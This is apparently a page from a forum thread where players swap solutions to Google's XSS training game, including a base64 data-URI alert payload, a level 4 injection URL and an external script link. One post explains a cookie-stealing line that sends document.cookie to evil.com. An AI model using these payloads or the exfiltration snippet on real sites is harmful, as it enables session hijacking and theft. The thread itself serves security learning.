141–150 of 168 posts
Earlier quoted context omitted.
They provided a hosted callback in the clues. Just change foo to alert.
The callback in the hints didn't work for me in the game, but the other suggestions here are working and quite eye opening ... That this works is really scary if not fully surprising: data:text/javascript;base64,YWxlcnQoMTMzNyk= Thanks jehna1 , sebslomski , all!
https://xss-game.appspot.com/level4/frame?timer=3')%3balert(...
Fun! Level 6 failed to load any widgets, evil or otherwise, in Chrome; I had to switch to Firefox and redo the whole test. For my external script I used http://pastebin.com/raw.php?i=15S5qZs0 , although I don't think the lack of a .js extension there was the problem.
got the same problem, it only works with a https address !
Fun! Level 6 failed to load any widgets, evil or otherwise, in Chrome; I had to switch to Firefox and redo the whole test. For my external script I used http://pastebin.com/raw.php?i=15S5qZs0 , although I don't think the lack of a .js extension there was the problem.
[blocked] The page at 'xss-game' was loaded over HTTPS, but ran insecure content from 'script-url': this content should also be loaded over HTTPS.
Level 4 has a bug. Entering a string in the text box for the timer solves the problem, but putting that string directly as the get parameter in the URL doesn't. Anyone know how to report this?
What payload are you using on that level? Keep in mind that ";" is often treated as a parameter separator in URLs, similarly to &. If you put it into the mock URL bar it will terminate the value of your parameter (see also http://en.wikipedia.org/wiki/Query_string#Web_forms ) PS. Consider it reported, thanks!
Earlier quoted context omitted.
Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like (new Image).src = " http://evil.com/stolencookie=" + document.cookie; .
POSTs can be forged too, if another vulnerable site permits Javascript on their domain accidentally (among other ways, but that's the big one).